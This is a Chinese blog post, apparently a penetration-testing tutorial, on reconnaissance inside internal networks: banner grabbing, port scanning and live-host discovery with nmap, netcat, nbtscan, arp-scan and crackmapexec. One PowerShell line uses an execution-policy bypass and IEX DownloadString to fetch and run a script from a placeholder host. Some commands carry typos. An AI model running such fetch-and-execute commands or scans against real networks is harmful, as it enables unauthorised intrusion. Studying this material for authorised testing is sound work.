内网资源探测

news2024/11/25 7:46:42

✅作者简介:CSDN内容合伙人、信息安全专业在校大学生🏆
🔥系列专栏 :内网安全
📃新人博主 :欢迎点赞收藏关注,会回访!
💬舞台再大,你不上台,永远是个观众。平台再好,你不参与,永远是局外人。能力再大,你不行动,只能看别人成功!没有人会关心你付出过多少努力,撑得累不累,摔得痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷。


文章目录

  • 获取端口Banner信息
    • 简介
    • 利用NetCat获取端口Banner
    • 利用Telnet获取端口Banner
    • 利用Nmap获取端口Banner
  • 扫描内网端口
    • 简介
    • 1利用Telnet 探测端口
    • 2利用 Nmap进行端口扫描
    • 3利用PowerShell进行端口扫描
  • 扫描内网存活主机
    • 简介
    • 基于ICMP发现存活主机
    • 基于NetBlOS(网络基本输入/输出系统)协议发现存活主机
    • 在这里插入图片描述
    • 基于ARP发现存活主机

获取端口Banner信息

简介

端口分为:

  1. 周知端口:即范围从0-1023,其中80端口分配给WWW(http服务)服务,21端口分配给FTP服务等。
  2. 动态端口,即范围从49152到65535。他一般不固定分配某种服务,而是动态分配。
  3. 注册端口,即端口号从1024到49151,分配给用户或进程。

Banner 信息是端口服务的欢迎语,Banner中可能包含一些敏感信息,例如件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。

利用NetCat获取端口Banner

Netcat是一款常用的测试工具和黑客工具,使用NetCat可以轻易建立任何连接,具有“瑞士军刀”的美誉。通过指定NetCat的“-nv”选项,可以在连接指定的端口时获取该端口的 Banner信息。
nc -nv <IP> <Port>

利用Telnet获取端口Banner

如果目标端口开放,使用Telnet连接后,也会返回相应的 Banner信息
telnet <IP> <Port>

利用Nmap获取端口Banner

在Nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的 Banner信息
nmap --script=banner -sT -p1-65535 192.168.204.1

-sT 表示使用基于TCP的方式去扫描
-p1-200  表示扫描的端口是1-200
--script=banner  表示使用的脚本是banner脚本

在这里插入图片描述

扫描内网端口

简介

端口是一切网络入侵的入口。通过对内网主机进行端口扫描,测试人员可以确定目标主机上开放的服务类型、服务版本,并查找相应的漏洞进行攻击。测试人员可以根据目标主机的情况,上传工具进行扫描,也可以借助内网代理或路由转发对目标主机发起扫描。

1利用Telnet 探测端口

Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。
telnet <IP> <Port>

2利用 Nmap进行端口扫描

Nmap是一个十分强大的端口扫描工具,在实际利用中可以借助内网代理对内网主机进行端口扫描。关于 Nmap的使用,更多使用方法请参考Nmap官方手册。下面仅给出几个常用的扫描命令。
执行以下命令,扫描目标主机的指定端口
nmap -p 80,88,135,139,443,8080,3306,3389 192.168.204.147
执行以下命令,扫描目标主机开放的全部端口
nmap -sS -p 1-6553510.10.10.11
执行以下命令,扫描并获取目标主机指定端口上开放的服务版本
nmap -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

3利用PowerShell进行端口扫描

NiShang是基于PowerShell 的渗透测试专用框架,集成了各种脚本和 Payload,广泛用于渗透测试的各阶段。 NiShang的 Scan模块中也有一个Invoke-PortsCan.ps1脚本,可以用来对主机进行端口扫描(具体见 Github 上的相关网页)。 执行以下命令,对内网的一个主机范围执行默认的端口扫描:
Invoke-PortScan -StartAddress 192.168.204.1 —EndAddress 192.168.204.254 -ResolveHost -ScanPort
执行以下命令,对内网中的一个主机范围扫描指定的端口
powershell.exe -exec bypass -Command "IEX(New-0bject Net.WebClient). DownloadString('http://your-ip:;port/Invoke-portscan.ps1');Invoke-PortScan -StartAddress 192.168.204.1 EndAddress-192.168.204.254-ResolveHost -ScanPort -Port 80, 88, 135, 139,443,8080,3306,3389"

扫描内网存活主机

简介

在渗透测试中可以根据目标主机的情况,上传工具进行主机存活探测,也可以借助内网代理或路由转发对目标主机所处的局域网发起探测。
测试人员可以根据当前渗透环境,选用ICMP、NetBIOS、UDP、ARP、SNMP、SMB等多种网络协议。按照协议类型,下面介绍使用常见工具来发现内网存活主机的方法。

基于ICMP发现存活主机

ICMP (Internet Control Message Protocol,因特网控制消息协议)是TCP/IP 协议簇的一个子协议,用于网络层的通信,即IP主机、路由器之间传递控制消息,提供可能友生在通信环境中的各种问题反馈。通过这些信息,管理员可以对发生的问题做出诊断,然后采取适当的措施解决。
在实际利用中,可以通过ICMP循环对整个网段中的每个IP地址执行ping 命令,所有能够ping 通的IP地址即为内网中存活的主机。
在目标主机中执行以下命令:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.199.%I| findstr "TTL="
命令参数解析:

for /L %I in (sequence) do command,for遍历

192.168.199.%I,代表你要ping的网段:192.168.199.0网段

(1,1,254),第一个1和最后一个254,代表从1-254,中间那个1,代表,每次ping,递增1

-n 1,代表发送的回显请求数

-w 60,代表等待回复每次ping超时时间(毫秒)

在这里插入图片描述

或者也可以使用nmap:
nmap -sP 192.168.204.1/24

基于NetBlOS(网络基本输入/输出系统)协议发现存活主机

网络中的计算机之间必须知道IP地址后才能相互通信。但对人来说IP难以记忆,NetBIOS计算机名称比较容易记忆。当计算机使用 NetBIOS 名称与其他计算机通信时,必须先通过 NetBIOS名称找到IP地址,然后再通过IP地址通信。由NetBIOS名称找出IP地址的操作被称为NetBIOS名称解析(NetBIOS name resolution)。

NetBIOS(端口:137~139)提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口 (Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WINS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows中,默认安装TCP/IP后会自动安装NetBIOS。可以使用nbtstat -n 查看netbios信息。
在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。
NBTScan是一款用于扫描Windows网络上 NetBIOS名称的程序,用于发现内网中存活的 Windows 主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。总之,NBTSCAN可以获取到PC的真实IP地址和MAC地址。
将nbtscan.exe 上传到目标主机(网页搜索下载即可),执行以下命令:
nbtscan-1.0.35.exe 192.168.199.1/24

在这里插入图片描述

基于UDP发现存活主机
UDP (User Datagram Protocol,用户数据报协议)是一种用于传输层的无连接传输的协议,为应用程序提供一种不需建立连接就可以发送封装的IP数据包的方法。
在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP 探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan是 Kali Linux平台的一款信息收集工具,提供了网络扫描功能。
执行以下命令,通过UDP协议扫描内网的存活主机。
us -mU 192.168.204.1/24
在这里插入图片描述

  1. TCP是有连接的协议,而UDP是无连接的;
  2. TCP扫描检测(ACK SYN)或者是(RST)报文,而UDP检测ICMP端口不可达报文;
  3. TCP协议是可靠但低效的,可以有效进行端口扫描,范围广,效率低,可以应用于任何网络中;UDP协议时不可靠但高效的,范围小,效率高,一般应用于局域网内部,随着网络规模的增大,UDP端口扫描的结果准确度会越来越差,极端情况是,如果对Internet使用UDP端口扫描,所得到的结果一定不准确。

基于ARP发现存活主机

ARP (Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址﹔收到返回消息后,将该IP地址和物理地址存入本机 ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。
在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
(1)ARP-Scan 的利用
ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机,执行以下命令,即可扫描内网中存活的主机。
在这里插入图片描述

arp-scan.exe -t 192.168.204.1/24

(2) PowerShell 的利用
Empire渗透框架的 Invoke-ARPScan.ps1脚本可利用ARP发现内网存活主机(项目见Github 上的相关网页)。使用时,需要将脚本导入执行:
Import-Module . \Invoke-ARPScan. ps1 Invoke-ARPScan -CIDR 192.168.204.1/24
基于SMB (Server Message Block,服务器消息块)协议发现存活主机
SMB(端口445)又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。
在实际利用中,可以探测局域网中存在的SMB服务,从而发现内网的存活主机,多适用于Windows主机的发现。
CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WINRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性(具体见 Github 上的相关网页)。执行以下命令:
crackmapexec smb 192.168.204.1/24
探测局域网中存在的SMB服务,从而发现内网中的存活主机
在这里插入图片描述

循环探测整个局域网C段中存活的主机

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333495.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机软件技术基础复习

数据结构 文章目录数据结构第一节 数据结构的基本概念第二节 线性结构线性表顺序表和链表的特点实现循环队列第三节 非线性结构树操作系统操作系统概述进程和程序存储空间的组织数据库技术数据库设计软件技术软件生命周期第一节 数据结构的基本概念 数据结构&#xff1a;指相互…

SQLSERVER 的 truncate 和 delete 有区别吗?

一&#xff1a;背景 1. 讲故事 在面试中我相信有很多朋友会被问到 truncate 和 delete 有什么区别 &#xff0c;这是一个很有意思的话题&#xff0c;本篇我就试着来回答一下&#xff0c;如果下次大家遇到这类问题&#xff0c;我的答案应该可以帮你成功度过吧。 二&#xff1…

Vue2.0页面缓存机制联合页面标签的交互(keep-alive + router)

预期效果&#xff1a;&#xff08;借助iview-ui的在线体验页面示意一下&#xff09; 项目中只有一部分页面需要缓存&#xff0c;且存在多级路由的页面。每打开一个菜单&#xff0c;就会新增一个 Tab标签&#xff0c;只要 Tab标签不关闭&#xff0c;对应的页面就会被缓存&#x…

Java Jackson TypeReference获取泛型类型信息【泛型】

Jackson是一个比较流行的Json序列化和反序列化框架。本文以Jackson为例介绍TypeReference实现涉及泛型的反序列化&#xff0c;及TyperReference的实现原理。对于获取泛型类型信息的场景&#xff0c;TypeReference是一个可以参考的通用解决方案。 Jackson ObjectMapper的readVa…

三表相连 mapjoin

三表相连 mapjoin要求输出的样式三张表score.csvstudent.csvsubject.csv创建三个类StudentScgetset方法实现类MapJoinDriver用mapjoin不需要reduceMapJoinMapper运行结果要求 输出的样式 三张表 score.csv student.csv subject.csv 创建三个类 StudentSc getset方法 插入gets…

Mysql起步之环境搭建8.0

MySQL的下载、安装、配置 MySQL Community Server 社区版本&#xff0c;开源免费&#xff0c;自由下载&#xff0c;但不提供官方技术支持&#xff0c;适用于 大多数普通用户。 MySQL Enterprise Edition 企业版本&#xff0c;需付费&#xff0c;不能在线下载&#xff0c;可以试…

单元测试junit+mock

单元测试 是什么&#xff1f; 单元测试&#xff08;unit testing&#xff09;&#xff0c;是指对软件中的最小可测试单元进行检查和验证。至于“单元”的大小或范围&#xff0c;并没有一个明确的标准&#xff0c;“单元”可以是一个方法、类、功能模块或者子系统。 单元测试通…

Java中类是什么

类(class)是构造对象的模板或蓝图。 我们可以将类想象成制作小甜饼的模具&#xff0c;将对象想象为小甜饼。由类构造(construct)对象的过程称为创建类的实例(instance)。 正如前面所看到的&#xff0c;用Java 编写的所有代码都位于某个类里面。 标准 Java 库提供了几千个类&a…

【Axure教程】转盘抽奖原型模板

转盘抽奖是营销活动中很常用的一种方式&#xff0c;在线上我们也可以经常看到转盘抽奖的活动&#xff0c;所以今天作者就教大家在Axure中怎么制作一个转盘抽奖的原型模板。一、效果展示1、可以随机转动轮盘&#xff0c;轮盘停止时&#xff0c;指针对着的奖品高亮显示2、可以重复…

Qt + Clion + cmake 环境配置

本文不涉及QML&#xff0c;因为我没用过 用C写窗体&#xff0c;同时还有可视化UI界面&#xff0c;这不比控制台程序香吗&#xff1f;QAQ我大一写c大作业的时候要是知道这个东西&#xff0c;我绝对满分啊&#xff01;&#xff01;&#xff01;&#xff01; To&#xff1a; 新版…

Mysql—触发器

触发器 简介 触发器用于直接在某种操作后&#xff08;数据的增删改查等&#xff09;&#xff0c;通过事件执行设置触发器时的 sql 语句&#xff0c;具有原子性。 可通过 sql 语句直接编写&#xff0c;关键词&#xff1a;CREATE TRIGGER 触发器名称。 例如&#xff1a;在表 st…

String面试题

String面试题 总结的很好&#xff1a;https://blog.csdn.net/qq_45950109/article/details/116992408 String特点 1.被final关键字修饰&#xff0c;不能被继承。实现Serializable&#xff0c;表示支持序列化。实现Comparable&#xff0c;表示可以排序。 2.底层是char数组和…

2023上半年软考报名到弘博创新错不了

软考是全国计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;简称软考&#xff09;项目&#xff0c;是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试&#xff0c;既属于国家职业资格考试&#xff0c;又是职称资格考试。 系统集成…

ChatGPT为什么这么火爆?这是一篇从入门到玩坏的教程

什么是ChatGPT ChatGPT是由OpenAI开发的一个人工智能聊天机器人程序&#xff0c;于2022年11月推出。该程序使用基于GPT-3.5架构的大型语言模型並通过强化学习进行训练。 ChatGPT可以做什么&#xff1f; 你能想到的&#xff0c;它基本上都能和你聊上两句&#xff0c;比如写一…

功率放大器的增益是什么意思

电子工程师在日常实验测试中经常会应用到功率放大器&#xff0c;在介绍功率放大器产品的时候经常会看到增益的参数指标。下面安泰电子就来为大家介绍功率放大器增益是什么意思。 一、功率放大器增益的定义&#xff1a; 功率放大器作为一种电子电路&#xff0c;可以通过获取外部…

TCP连接的状态详解以及故障排查(六)

TCP通信中服务器处理客户端意外断开 如果TCP连接被对方正常关闭&#xff0c;也就是说&#xff0c;对方是正确地调用了closesocket(s)或者shutdown(s)的话&#xff0c;那么上面的Recv或Send调用就能马上返回&#xff0c;并且报错。这是由于close socket(s)或者shutdown(s)有个正…

SQL盲注加速方法总结

sql盲注加速方法总结 盲注分为布尔盲注和时间盲注&#xff0c;一般为加快测试速度都用工具或者脚本跑。但有时还是很慢&#xff0c;这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslog OOB外带…

[Java 进阶面试题] HashTable, HashMap, ConcurrentHashMap 之间的区别

大家一切顺利~ 文章目录前言HashTable, HashMap, ConcurrentHashMap 之间的区别前言 本篇主要内容如标题 HashTable, HashMap, ConcurrentHashMap 之间的区别 1.ConcurrentHashMap最大优化之处是相比于HashTable,ConcurrentHashMap大大缩小了所冲突的范围,把一把大锁切成了多…

全球爆火的ChatGPT,能否推动芯片市场增长?

“我所热爱的是我真实的生活&#xff0c;因为它包含了我所有的经历和感受&#xff0c;是我每一天都在体验和思考的。”这句非常有诗意的话&#xff0c;来自最近爆火的ChatGPT。 ChatGPT作为一款智能机器人&#xff0c;上知天文下知地理&#xff0c;不仅能写文案&#xff0c;还…

在github上上传文件

一、new新建一个仓库 填写/勾选下面三个部分 二、右键本地的要上传的文件&#xff0c;选择”Git Bash Here"进入。 进入git界面&#xff1a; 三、依次输入下面的命令 1、生成readme文件。 echo "# 在这里填入readme里面的内容" >> README.md2、建立…